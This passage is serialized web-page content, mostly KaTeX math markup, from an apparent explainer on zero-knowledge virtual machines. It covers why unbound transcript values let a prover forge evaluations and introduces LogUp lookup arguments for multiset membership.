:112283,"children":112285},{"className":112284,"style":112271},[4144],[],{"type":23,"tag":213,"props":112287,"children":112291},{"className":112288,"style":112290},[112289],"accent-body","left:-0.0833em;",[112292],{"type":23,"tag":213,"props":112293,"children":112295},{"className":112294},[4103],[112296],{"type":28,"value":112297},"~",{"type":23,"tag":213,"props":112299,"children":112301},{"className":112300},[21794],[112302],{"type":28,"value":21797},{"type":23,"tag":213,"props":112304,"children":112306},{"className":112305},[4130],[112307],{"type":23,"tag":213,"props":112308,"children":112311},{"className":112309,"style":112310},[4135],"height:0.1944em;",[112312],{"type":23,"tag":213,"props":112313,"children":112314},{},[],{"type":23,"tag":213,"props":112316,"children":112318},{"className":112317},[21766],[112319],{"type":28,"value":265},{"type":23,"tag":213,"props":112321,"children":112323},{"className":112322},[4103,112249],[112324],{"type":23,"tag":213,"props":112325,"children":112327},{"className":112326},[4125],[112328],{"type":23,"tag":213,"props":112329,"children":112331},{"className":112330},[4130],[112332],{"type":23,"tag":213,"props":112333,"children":112336},{"className":112334,"style":112335},[4135],"height:0.714em;",[112337,112349],{"type":23,"tag":213,"props":112338,"children":112339},{"style":112266},[112340,112344],{"type":23,"tag":213,"props":112341,"children":112343},{"className":112342,"style":112271},[4144],[],{"type":23,"tag":213,"props":112345,"children":112347},{"className":112346,"style":93100},[4103,21637],[112348],{"type":28,"value":93919},{"type":23,"tag":213,"props":112350,"children":112351},{"style":112266},[112352,112356],{"type":23,"tag":213,"props":112353,"children":112355},{"className":112354,"style":112271},[4144],[],{"type":23,"tag":213,"props":112357,"children":112360},{"className":112358,"style":112359},[112289],"left:-0.1799em;",[112361],{"type":23,"tag":213,"props":112362,"children":112366},{"className":112363,"style":112365},[112364],"overlay","height:0.714em;width:0.471em;",[112367],{"type":23,"tag":34330,"props":112368,"children":112375},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[112376],{"type":23,"tag":112377,"props":112378,"children":112380},"path",{"d":112379},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":213,"props":112382,"children":112384},{"className":112383},[21788],[112385],{"type":28,"value":2121},{"type":23,"tag":213,"props":112387,"children":112389},{"className":112388,"style":4282},[4184],[],{"type":23,"tag":213,"props":112391,"children":112393},{"className":112392},[4287],[112394],{"type":28,"value":3190},{"type":23,"tag":213,"props":112396,"children":112398},{"className":112397,"style":4282},[4184],[],{"type":23,"tag":213,"props":112400,"children":112402},{"className":112401},[4092],[112403,112408,112589,112593,112598,112603,112653,112658,112662,112667],{"type":23,"tag":213,"props":112404,"children":112407},{"className":112405,"style":112406},[4097],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":213,"props":112409,"children":112411},{"className":112410},[21673],[112412,112417],{"type":23,"tag":213,"props":112413,"children":112415},{"className":112414,"style":21680},[21673,21678,21679],[112416],{"type":28,"value":108895},{"type":23,"tag":213,"props":112418,"children":112420},{"className":112419},[4120],[112421],{"type":23,"tag":213,"props":112422,"children":112424},{"className":112423},[4125,21691],[112425,112577],{"type":23,"tag":213,"props":112426,"children":112428},{"className":112427},[4130],[112429,112572],{"type":23,"tag":213,"props":112430,"children":112433},{"className":112431,"style":112432},[4135],"height:0.3448em;",[112434],{"type":23,"tag":213,"props":112435,"children":112437},{"style":112436},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[112438,112442],{"type":23,"tag":213,"props":112439,"children":112441},{"className":112440,"style":4145},[4144],[],{"type":23,"tag":213,"props":112443,"children":112445},{"className":112444},[4150,4151,4152,4153],[112446],{"type":23,"tag":213,"props":112447,"children":112449},{"className":112448},[4103,4153],[112450,112504,112509,112514,112519,112524,112529],{"type":23,"tag":213,"props":112451,"children":112453},{"className":112452},[4103,112249,4153],[112454],{"type":23,"tag":213,"props":112455,"children":112457},{"className":112456},[4125],[112458],{"type":23,"tag":213,"props":112459,"children":112461},{"className":112460},[4130],[112462],{"type":23,"tag":213,"props":112463,"children":112466},{"className":112464,"style":112465},[4135],"height:0.9774em;",[112467,112481],{"type":23,"tag":213,"props":112468,"children":112470},{"style":112469},"top:-2.714em;",[112471,112476],{"type":23,"tag":213,"props":112472,"children":112475},{"className":112473,"style":112474},[4144],"height:2.714em;",[],{"type":23,"tag":213,"props":112477,"children":112479},{"className":112478},[4103,21637,4153],[112480],{"type":28,"value":3319},{"type":23,"tag":213,"props":112482,"children":112484},{"style":112483},"top:-2.9774em;",[112485,112489],{"type":23,"tag":213,"props":112486,"children":112488},{"className":112487,"style":112474},[4144],[],{"type":23,"tag":213,"props":112490,"children":112493},{"className":112491,"style":112492},[112289],"left:-0.2355em;",[112494],{"type":23,"tag":213,"props":112495,"children":112497},{"className":112496,"style":112365},[112364,4153],[112498],{"type":23,"tag":34330,"props":112499,"children":112500},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[112501],{"type":23,"tag":112377,"props":112502,"children":112503},{"d":112379},[],{"type":23,"tag":213,"props":112505,"children":112507},{"className":112506},[4287,4153],[112508],{"type":28,"value":21744},{"type":23,"tag":213,"props":112510,"children":112512},{"className":112511},[21766,4153],[112513],{"type":28,"value":76671},{"type":23,"tag":213,"props":112515,"children":112517},{"className":112516},[4103,4153],[112518],{"type":28,"value":4116},{"type":23,"tag":213,"props":112520,"children":112522},{"className":112521},[4216,4153],[112523],{"type":28,"value":4219},{"type":23,"tag":213,"props":112525,"children":112527},{"className":112526},[4103,4153],[112528],{"type":28,"value":4106},{"type":23,"tag":213,"props":112530,"children":112532},{"className":112531},[21788,4153],[112533,112538],{"type":23,"tag":213,"props":112534,"children":112536},{"className":112535},[21788,4153],[112537],{"type":28,"value":34197},{"type":23,"tag":213,"props":112539,"children":112541},{"className":112540},[4120],[112542],{"type":23,"tag":213,"props":112543,"children":112545},{"className":112544},[4125],[112546],{"type":23,"tag":213,"props":112547,"children":112549},{"className":112548},[4130],[112550],{"type":23,"tag":213,"props":112551,"children":112554},{"className":112552,"style":112553},[4135],"height:0.5935em;",[112555],{"type":23,"tag":213,"props":112556,"children":112558},{"style":112557},"top:-2.786em;margin-right:0.0714em;",[112559,112563],{"type":23,"tag":213,"props":112560,"children":112562},{"className":112561,"style":108960},[4144],[],{"type":23,"tag":213,"props":112564,"children":112566},{"className":112565},[4150,108965,108966,4153],[112567],{"type":23,"tag":213,"props":112568,"children":112570},{"className":112569},[4103,21637,4153],[112571],{"type":28,"value":56456},{"type":23,"tag":213,"props":112573,"children":112575},{"className":112574},[21794],[112576],{"type":28,"value":21797},{"type":23,"tag":213,"props":112578,"children":112580},{"className":112579},[4130],[112581],{"type":23,"tag":213,"props":112582,"children":112585},{"className":112583,"style":112584},[4135],"height:0.5144em;",[112586],{"type":23,"tag":213,"props":112587,"children":112588},{},[],{"type":23,"tag":213,"props":112590,"children":112592},{"className":112591,"style":4223},[4184],[],{"type":23,"tag":213,"props":112594,"children":112596},{"className":112595,"style":95454},[4103,21637],[112597],{"type":28,"value":33141},{"type":23,"tag":213,"props":112599,"children":112601},{"className":112600},[21766],[112602],{"type":28,"value":265},{"type":23,"tag":213,"props":112604,"children":112606},{"className":112605},[4103,112249],[112607],{"type":23,"tag":213,"props":112608,"children":112610},{"className":112609},[4125],[112611],{"type":23,"tag":213,"props":112612,"children":112614},{"className":112613},[4130],[112615],{"type":23,"tag":213,"props":112616,"children":112618},{"className":112617,"style":112465},[4135],[112619,112631],{"type":23,"tag":213,"props":112620,"children":112621},{"style":112266},[112622,112626],{"type":23,"tag":213,"props":112623,"children":112625},{"className":112624,"style":112271},[4144],[],{"type":23,"tag":213,"props":112627,"children":112629},{"className":112628},[4103,21637],[112630],{"type":28,"value":3319},{"type":23,"tag":213,"props":112632,"children":112634},{"style":112633},"top:-3.2634em;",[112635,112639],{"type":23,"tag":213,"props":112636,"children":112638},{"className":112637,"style":112271},[4144],[],{"type":23,"tag":213,"props":112640,"children":112642},{"className":112641,"style":112492},[112289],[112643],{"type":23,"tag":213,"props":112644,"children":112646},{"className":112645,"style":112365},[112364],[112647],{"type":23,"tag":34330,"props":112648,"children":112649},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[112650],{"type":23,"tag":112377,"props":112651,"children":112652},{"d":112379},[],{"type":23,"tag":213,"props":112654,"children":112656},{"className":112655},[21788],[112657],{"type":28,"value":2121},{"type":23,"tag":213,"props":112659,"children":112661},{"className":112660,"style":4185},[4184],[],{"type":23,"tag":213,"props":112663,"children":112665},{"className":112664},[4190],[112666],{"type":28,"value":111362},{"type":23,"tag":213,"props":112668,"children":112670},{"className":112669,"style":4185},[4184],[],{"type":23,"tag":213,"props":112672,"children":112674},{"className":112673},[4092],[112675,112680,112690,112695,112744,112749,112753,112802],{"type":23,"tag":213,"props":112676,"children":112679},{"className":112677,"style":112678},[4097],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":213,"props":112681,"children":112683},{"className":112682},[4103,28],[112684],{"type":23,"tag":213,"props":112685,"children":112687},{"className":112686},[4103],[112688],{"type":28,"value":112689},"eq",{"type":23,"tag":213,"props":112691,"children":112693},{"className":112692},[21766],[112694],{"type":28,"value":265},{"type":23,"tag":213,"props":112696,"children":112698},{"className":112697},[4103,112249],[112699],{"type":23,"tag":213,"props":112700,"children":112702},{"className":112701},[4125],[112703],{"type":23,"tag":213,"props":112704,"children":112706},{"className":112705},[4130],[112707],{"type":23,"tag":213,"props":112708,"children":112710},{"className":112709,"style":112465},[4135],[112711,112723],{"type":23,"tag":213,"props":112712,"children":112713},{"style":112266},[112714,112718],{"type":23,"tag":213,"props":112715,"children":112717},{"className":112716,"style":112271},[4144],[],{"type":23,"tag":213,"props":112719,"children":112721},{"className":112720},[4103,21637],[112722],{"type":28,"value":3319},{"type":23,"tag":213,"props":112724,"children":112725},{"style":112633},[112726,112730],{"type":23,"tag":213,"props":112727,"children":112729},{"className":112728,"style":112271},[4144],[],{"type":23,"tag":213,"props":112731,"children":112733},{"className":112732,"style":112492},[112289],[112734],{"type":23,"tag":213,"props":112735,"children":112737},{"className":112736,"style":112365},[112364],[112738],{"type":23,"tag":34330,"props":112739,"children":112740},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[112741],{"type":23,"tag":112377,"props":112742,"children":112743},{"d":112379},[],{"type":23,"tag":213,"props":112745,"children":112747},{"className":112746},[4216],[112748],{"type":28,"value":4219},{"type":23,"tag":213,"props":112750,"children":112752},{"className":112751,"style":4223},[4184],[],{"type":23,"tag":213,"props":112754,"children":112756},{"className":112755},[4103,112249],[112757],{"type":23,"tag":213,"props":112758,"children":112760},{"className":112759},[4125],[112761],{"type":23,"tag":213,"props":112762,"children":112764},{"className":112763},[4130],[112765],{"type":23,"tag":213,"props":112766,"children":112768},{"className":112767,"style":112335},[4135],[112769,112781],{"type":23,"tag":213,"props":112770,"children":112771},{"style":112266},[112772,112776],{"type":23,"tag":213,"props":112773,"children":112775},{"className":112774,"style":112271},[4144],[],{"type":23,"tag":213,"props":112777,"children":112779},{"className":112778,"style":93100},[4103,21637],[112780],{"type":28,"value":93919},{"type":23,"tag":213,"props":112782,"children":112783},{"style":112266},[112784,112788],{"type":23,"tag":213,"props":112785,"children":112787},{"className":112786,"style":112271},[4144],[],{"type":23,"tag":213,"props":112789,"children":112791},{"className":112790,"style":112359},[112289],[112792],{"type":23,"tag":213,"props":112793,"children":112795},{"className":112794,"style":112365},[112364],[112796],{"type":23,"tag":34330,"props":112797,"children":112798},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[112799],{"type":23,"tag":112377,"props":112800,"children":112801},{"d":112379},[],{"type":23,"tag":213,"props":112803,"children":112805},{"className":112804},[21788],[112806],{"type":28,"value":2121},{"type":23,"tag":24,"props":112808,"children":112809},{},[112810,112812,112881,112883,113029,113031,113170,113172,113256],{"type":28,"value":112811},"At a fixed challenge point ",{"type":23,"tag":209,"props":112813,"children":112815},{"className":112814},[4076,4077],[112816],{"type":23,"tag":213,"props":112817,"children":112819},{"className":112818},[4082],[112820],{"type":23,"tag":213,"props":112821,"children":112823},{"className":112822,"ariaHidden":1710},[4087],[112824],{"type":23,"tag":213,"props":112825,"children":112827},{"className":112826},[4092],[112828,112832],{"type":23,"tag":213,"props":112829,"children":112831},{"className":112830,"style":112335},[4097],[],{"type":23,"tag":213,"props":112833,"children":112835},{"className":112834},[4103,112249],[112836],{"type":23,"tag":213,"props":112837,"children":112839},{"className":112838},[4125],[112840],{"type":23,"tag":213,"props":112841,"children":112843},{"className":112842},[4130],[112844],{"type":23,"tag":213,"props":112845,"children":112847},{"className":112846,"style":112335},[4135],[112848,112860],{"type":23,"tag":213,"props":112849,"children":112850},{"style":112266},[112851,112855],{"type":23,"tag":213,"props":112852,"children":112854},{"className":112853,"style":112271},[4144],[],{"type":23,"tag":213,"props":112856,"children":112858},{"className":112857,"style":93100},[4103,21637],[112859],{"type":28,"value":93919},{"type":23,"tag":213,"props":112861,"children":112862},{"style":112266},[112863,112867],{"type":23,"tag":213,"props":112864,"children":112866},{"className":112865,"style":112271},[4144],[],{"type":23,"tag":213,"props":112868,"children":112870},{"className":112869,"style":112359},[112289],[112871],{"type":23,"tag":213,"props":112872,"children":112874},{"className":112873,"style":112365},[112364],[112875],{"type":23,"tag":34330,"props":112876,"children":112877},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[112878],{"type":23,"tag":112377,"props":112879,"children":112880},{"d":112379},[],{"type":28,"value":112882},", the coefficients ",{"type":23,"tag":209,"props":112884,"children":112886},{"className":112885},[4076,4077],[112887],{"type":23,"tag":213,"props":112888,"children":112890},{"className":112889},[4082],[112891],{"type":23,"tag":213,"props":112892,"children":112894},{"className":112893,"ariaHidden":1710},[4087],[112895],{"type":23,"tag":213,"props":112896,"children":112898},{"className":112897},[4092],[112899,112903,112912,112917,112966,112971,112975,113024],{"type":23,"tag":213,"props":112900,"children":112902},{"className":112901,"style":112678},[4097],[],{"type":23,"tag":213,"props":112904,"children":112906},{"className":112905},[4103,28],[112907],{"type":23,"tag":213,"props":112908,"children":112910},{"className":112909},[4103],[112911],{"type":28,"value":112689},{"type":23,"tag":213,"props":112913,"children":112915},{"className":112914},[21766],[112916],{"type":28,"value":265},{"type":23,"tag":213,"props":112918,"children":112920},{"className":112919},[4103,112249],[112921],{"type":23,"tag":213,"props":112922,"children":112924},{"className":112923},[4125],[112925],{"type":23,"tag":213,"props":112926,"children":112928},{"className":112927},[4130],[112929],{"type":23,"tag":213,"props":112930,"children":112932},{"className":112931,"style":112465},[4135],[112933,112945],{"type":23,"tag":213,"props":112934,"children":112935},{"style":112266},[112936,112940],{"type":23,"tag":213,"props":112937,"children":112939},{"className":112938,"style":112271},[4144],[],{"type":23,"tag":213,"props":112941,"children":112943},{"className":112942},[4103,21637],[112944],{"type":28,"value":3319},{"type":23,"tag":213,"props":112946,"children":112947},{"style":112633},[112948,112952],{"type":23,"tag":213,"props":112949,"children":112951},{"className":112950,"style":112271},[4144],[],{"type":23,"tag":213,"props":112953,"children":112955},{"className":112954,"style":112492},[112289],[112956],{"type":23,"tag":213,"props":112957,"children":112959},{"className":112958,"style":112365},[112364],[112960],{"type":23,"tag":34330,"props":112961,"children":112962},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[112963],{"type":23,"tag":112377,"props":112964,"children":112965},{"d":112379},[],{"type":23,"tag":213,"props":112967,"children":112969},{"className":112968},[4216],[112970],{"type":28,"value":4219},{"type":23,"tag":213,"props":112972,"children":112974},{"className":112973,"style":4223},[4184],[],{"type":23,"tag":213,"props":112976,"children":112978},{"className":112977},[4103,112249],[112979],{"type":23,"tag":213,"props":112980,"children":112982},{"className":112981},[4125],[112983],{"type":23,"tag":213,"props":112984,"children":112986},{"className":112985},[4130],[112987],{"type":23,"tag":213,"props":112988,"children":112990},{"className":112989,"style":112335},[4135],[112991,113003],{"type":23,"tag":213,"props":112992,"children":112993},{"style":112266},[112994,112998],{"type":23,"tag":213,"props":112995,"children":112997},{"className":112996,"style":112271},[4144],[],{"type":23,"tag":213,"props":112999,"children":113001},{"className":113000,"style":93100},[4103,21637],[113002],{"type":28,"value":93919},{"type":23,"tag":213,"props":113004,"children":113005},{"style":112266},[113006,113010],{"type":23,"tag":213,"props":113007,"children":113009},{"className":113008,"style":112271},[4144],[],{"type":23,"tag":213,"props":113011,"children":113013},{"className":113012,"style":112359},[112289],[113014],{"type":23,"tag":213,"props":113015,"children":113017},{"className":113016,"style":112365},[112364],[113018],{"type":23,"tag":34330,"props":113019,"children":113020},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[113021],{"type":23,"tag":112377,"props":113022,"children":113023},{"d":112379},[],{"type":23,"tag":213,"props":113025,"children":113027},{"className":113026},[21788],[113028],{"type":28,"value":2121},{"type":28,"value":113030}," are constants, so ",{"type":23,"tag":209,"props":113032,"children":113034},{"className":113033},[4076,4077],[113035],{"type":23,"tag":213,"props":113036,"children":113038},{"className":113037},[4082],[113039],{"type":23,"tag":213,"props":113040,"children":113042},{"className":113041,"ariaHidden":1710},[4087],[113043],{"type":23,"tag":213,"props":113044,"children":113046},{"className":113045},[4092],[113047,113051,113111,113116,113165],{"type":23,"tag":213,"props":113048,"children":113050},{"className":113049,"style":112244},[4097],[],{"type":23,"tag":213,"props":113052,"children":113054},{"className":113053},[4103,112249],[113055],{"type":23,"tag":213,"props":113056,"children":113058},{"className":113057},[4125,21691],[113059,113100],{"type":23,"tag":213,"props":113060,"children":113062},{"className":113061},[4130],[113063,113095],{"type":23,"tag":213,"props":113064,"children":113066},{"className":113065,"style":112262},[4135],[113067,113079],{"type":23,"tag":213,"props":113068,"children":113069},{"style":112266},[113070,113074],{"type":23,"tag":213,"props":113071,"children":113073},{"className":113072,"style":112271},[4144],[],{"type":23,"tag":213,"props":113075,"children":113077},{"className":113076,"style":95454},[4103,21637],[113078],{"type":28,"value":33141},{"type":23,"tag":213,"props":113080,"children":113081},{"style":112280},[113082,113086],{"type":23,"tag":213,"props":113083,"children":113085},{"className":113084,"style":112271},[4144],[],{"type":23,"tag":213,"props":113087,"children":113089},{"className":113088,"style":112290},[112289],[113090],{"type":23,"tag":213,"props":113091,"children":113093},{"className":113092},[4103],[113094],{"type":28,"value":112297},{"type":23,"tag":213,"props":113096,"children":113098},{"className":113097},[21794],[113099],{"type":28,"value":21797},{"type":23,"tag":213,"props":113101,"children":113103},{"className":113102},[4130],[113104],{"type":23,"tag":213,"props":113105,"children":113107},{"className":113106,"style":112310},[4135],[113108],{"type":23,"tag":213,"props":113109,"children":113110},{},[],{"type":23,"tag":213,"props":113112,"children":113114},{"className":113113},[21766],[113115],{"type":28,"value":265},{"type":23,"tag":213,"props":113117,"children":113119},{"className":113118},[4103,112249],[113120],{"type":23,"tag":213,"props":113121,"children":113123},{"className":113122},[4125],[113124],{"type":23,"tag":213,"props":113125,"children":113127},{"className":113126},[4130],[113128],{"type":23,"tag":213,"props":113129,"children":113131},{"className":113130,"style":112335},[4135],[113132,113144],{"type":23,"tag":213,"props":113133,"children":113134},{"style":112266},[113135,113139],{"type":23,"tag":213,"props":113136,"children":113138},{"className":113137,"style":112271},[4144],[],{"type":23,"tag":213,"props":113140,"children":113142},{"className":113141,"style":93100},[4103,21637],[113143],{"type":28,"value":93919},{"type":23,"tag":213,"props":113145,"children":113146},{"style":112266},[113147,113151],{"type":23,"tag":213,"props":113148,"children":113150},{"className":113149,"style":112271},[4144],[],{"type":23,"tag":213,"props":113152,"children":113154},{"className":113153,"style":112359},[112289],[113155],{"type":23,"tag":213,"props":113156,"children":113158},{"className":113157,"style":112365},[112364],[113159],{"type":23,"tag":34330,"props":113160,"children":113161},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[113162],{"type":23,"tag":112377,"props":113163,"children":113164},{"d":112379},[],{"type":23,"tag":213,"props":113166,"children":113168},{"className":113167},[21788],[113169],{"type":28,"value":2121},{"type":28,"value":113171}," is linear in the table values ",{"type":23,"tag":209,"props":113173,"children":113175},{"className":113174},[4076,4077],[113176],{"type":23,"tag":213,"props":113177,"children":113179},{"className":113178},[4082],[113180],{"type":23,"tag":213,"props":113181,"children":113183},{"className":113182,"ariaHidden":1710},[4087],[113184],{"type":23,"tag":213,"props":113185,"children":113187},{"className":113186},[4092],[113188,113192,113197,113202,113251],{"type":23,"tag":213,"props":113189,"children":113191},{"className":113190,"style":112678},[4097],[],{"type":23,"tag":213,"props":113193,"children":113195},{"className":113194,"style":95454},[4103,21637],[113196],{"type":28,"value":33141},{"type":23,"tag":213,"props":113198,"children":113200},{"className":113199},[21766],[113201],{"type":28,"value":265},{"type":23,"tag":213,"props":113203,"children":113205},{"className":113204},[4103,112249],[113206],{"type":23,"tag":213,"props":113207,"children":113209},{"className":113208},[4125],[113210],{"type":23,"tag":213,"props":113211,"children":113213},{"className":113212},[4130],[113214],{"type":23,"tag":213,"props":113215,"children":113217},{"className":113216,"style":112465},[4135],[113218,113230],{"type":23,"tag":213,"props":113219,"children":113220},{"style":112266},[113221,113225],{"type":23,"tag":213,"props":113222,"children":113224},{"className":113223,"style":112271},[4144],[],{"type":23,"tag":213,"props":113226,"children":113228},{"className":113227},[4103,21637],[113229],{"type":28,"value":3319},{"type":23,"tag":213,"props":113231,"children":113232},{"style":112633},[113233,113237],{"type":23,"tag":213,"props":113234,"children":113236},{"className":113235,"style":112271},[4144],[],{"type":23,"tag":213,"props":113238,"children":113240},{"className":113239,"style":112492},[112289],[113241],{"type":23,"tag":213,"props":113242,"children":113244},{"className":113243,"style":112365},[112364],[113245],{"type":23,"tag":34330,"props":113246,"children":113247},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[113248],{"type":23,"tag":112377,"props":113249,"children":113250},{"d":112379},[],{"type":23,"tag":213,"props":113252,"children":113254},{"className":113253},[21788],[113255],{"type":28,"value":2121},{"type":28,"value":124},{"type":23,"tag":24,"props":113258,"children":113259},{},[113260,113262,113331],{"type":28,"value":113261},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":209,"props":113263,"children":113265},{"className":113264},[4076,4077],[113266],{"type":23,"tag":213,"props":113267,"children":113269},{"className":113268},[4082],[113270],{"type":23,"tag":213,"props":113271,"children":113273},{"className":113272,"ariaHidden":1710},[4087],[113274],{"type":23,"tag":213,"props":113275,"children":113277},{"className":113276},[4092],[113278,113282],{"type":23,"tag":213,"props":113279,"children":113281},{"className":113280,"style":112335},[4097],[],{"type":23,"tag":213,"props":113283,"children":113285},{"className":113284},[4103,112249],[113286],{"type":23,"tag":213,"props":113287,"children":113289},{"className":113288},[4125],[113290],{"type":23,"tag":213,"props":113291,"children":113293},{"className":113292},[4130],[113294],{"type":23,"tag":213,"props":113295,"children":113297},{"className":113296,"style":112335},[4135],[113298,113310],{"type":23,"tag":213,"props":113299,"children":113300},{"style":112266},[113301,113305],{"type":23,"tag":213,"props":113302,"children":113304},{"className":113303,"style":112271},[4144],[],{"type":23,"tag":213,"props":113306,"children":113308},{"className":113307,"style":93100},[4103,21637],[113309],{"type":28,"value":93919},{"type":23,"tag":213,"props":113311,"children":113312},{"style":112266},[113313,113317],{"type":23,"tag":213,"props":113314,"children":113316},{"className":113315,"style":112271},[4144],[],{"type":23,"tag":213,"props":113318,"children":113320},{"className":113319,"style":112359},[112289],[113321],{"type":23,"tag":213,"props":113322,"children":113324},{"className":113323,"style":112365},[112364],[113325],{"type":23,"tag":34330,"props":113326,"children":113327},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[113328],{"type":23,"tag":112377,"props":113329,"children":113330},{"d":112379},[],{"type":28,"value":113332}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":9693,"props":113334,"children":113336},{"id":113335},"lookup-arguments-logup",[113337],{"type":28,"value":113338},"Lookup Arguments (LogUp)",{"type":23,"tag":24,"props":113340,"children":113341},{},[113342],{"type":28,"value":113343},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":168,"props":113345,"children":113346},{},[113347,113403,113408],{"type":23,"tag":135,"props":113348,"children":113349},{},[113350,113352,113402],{"type":28,"value":113351},"Is this byte in range ",{"type":23,"tag":209,"props":113353,"children":113355},{"className":113354},[4076,4077],[113356],{"type":23,"tag":213,"props":113357,"children":113359},{"className":113358},[4082],[113360],{"type":23,"tag":213,"props":113361,"children":113363},{"className":113362,"ariaHidden":1710},[4087],[113364],{"type":23,"tag":213,"props":113365,"children":113367},{"className":113366},[4092],[113368,113372,113377,113382,113387,113391,113397],{"type":23,"tag":213,"props":113369,"children":113371},{"className":113370,"style":4205},[4097],[],{"type":23,"tag":213,"props":113373,"children":113375},{"className":113374},[21766],[113376],{"type":28,"value":3821},{"type":23,"tag":213,"props":113378,"children":113380},{"className":113379},[4103],[113381],{"type":28,"value":4116},{"type":23,"tag":213,"props":113383,"children":113385},{"className":113384},[4216],[113386],{"type":28,"value":4219},{"type":23,"tag":213,"props":113388,"children":113390},{"className":113389,"style":4223},[4184],[],{"type":23,"tag":213,"props":113392,"children":113394},{"className":113393},[4103],[113395],{"type":28,"value":113396},"255",{"type":23,"tag":213,"props":113398,"children":113400},{"className":113399},[21788],[113401],{"type":28,"value":15470},{"type":28,"value":2126},{"type":23,"tag":135,"props":113404,"children":113405},{},[113406],{"type":28,"value":113407},"Does this opcode decode correctly?",{"type":23,"tag":135,"props":113409,"children":113410},{},[113411],{"type":28,"value":113412},"Is this memory access consistent with previous accesses?",{"type":23,"tag":24,"props":113414,"children":113415},{},[113416,113421],{"type":23,"tag":95,"props":113417,"children":113418},{},[113419],{"type":28,"value":113420},"The naive approach:",{"type":28,"value":113422}," Add constraints for each check. Expensive.",{"type":23,"tag":24,"props":113424,"children":113425},{},[113426,113431,113433,113438],{"type":23,"tag":95,"props":113427,"children":113428},{},[113429],{"type":28,"value":113430},"The clever approach:",{"type":28,"value":113432}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":95,"props":113434,"children":113435},{},[113436],{"type":28,"value":113437},"multiset membership",{"type":28,"value":67849},{"type":23,"tag":24,"props":113440,"children":113441},{},[113442,113447],{"type":23,"tag":95,"props":113443,"children":113444},{},[113445],{"type":28,"value":113446},"LogUp (Logarithmic Derivative):",{"type":28,"value":113448}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":24,"props":113450,"children":113451},{},[113452,113454,113479,113481,113508],{"type":28,"value":113453},"If set ",{"type":23,"tag":209,"props":113455,"children":113457},{"className":113456},[4076,4077],[113458],{"type":23,"tag":213,"props":113459,"children":113461},{"className":113460},[4082],[113462],{"type":23,"tag":213,"props":113463,"children":113465},{"className":113464,"ariaHidden":1710},[4087],[113466],{"type":23,"tag":213,"props":113467,"children":113469},{"className":113468},[4092],[113470,113474],{"type":23,"tag":213,"props":113471,"children":113473},{"className":113472,"style":21632},[4097],[],{"type":23,"tag":213,"props":113475,"children":113477},{"className":113476},[4103,21637],[113478],{"type":28,"value":76820},{"type":28,"value":113480}," should equal set ",{"type":23,"tag":209,"props":113482,"children":113484},{"className":113483},[4076,4077],[113485],{"type":23,"tag":213,"props":113486,"children":113488},{"className":113487},[4082],[113489],{"type":23,"tag":213,"props":113490,"children":113492},{"className":113491,"ariaHidden":1710},[4087],[113493],{"type":23,"tag":213,"props":113494,"children":113496},{"className":113495},[4092],[113497,113501],{"type":23,"tag":213,"props":113498,"children":113500},{"className":113499,"style":21632},[4097],[],{"type":23,"tag":213,"props":113502,"children":113505},{"className":113503,"style":113504},[4103,21637],"margin-right:0.05017em;",[113506],{"type":28,"value":113507},"B",{"type":28,"value":113509}," as multisets:",{"type":23,"tag":24,"props":113511,"children":113512},{},[113513],{"type":23,"tag":209,"props":113514,"children":113516},{"className":113515},[4076,4077],[113517],{"type":23,"tag":213,"props":113518,"children":113520},{"className":113519},[4082],[113521],{"type":23,"tag":213,"props":113522,"children":113524},{"className":113523,"ariaHidden":1710},[4087],[113525,113740],{"type":23,"tag":213,"props":113526,"children":113528},{"className":113527},[4092],[113529,113534,113607,113611,113727,113731,113736],{"type":23,"tag":213,"props":113530,"children":113533},{"className":113531,"style":113532},[4097],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":213,"props":113535,"children":113537},{"className":113536},[21673],[113538,113543],{"type":23,"tag":213,"props":113539,"children":113541},{"className":113540,"style":21680},[21673,21678,21679],[113542],{"type":28,"value":108895},{"type":23,"tag":213,"props":113544,"children":113546},{"className":113545},[4120],[113547],{"type":23,"tag":213,"props":113548,"children":113550},{"className":113549},[4125,21691],[113551,113595],{"type":23,"tag":213,"props":113552,"children":113554},{"className":113553},[4130],[113555,113590],{"type":23,"tag":213,"props":113556,"children":113559},{"c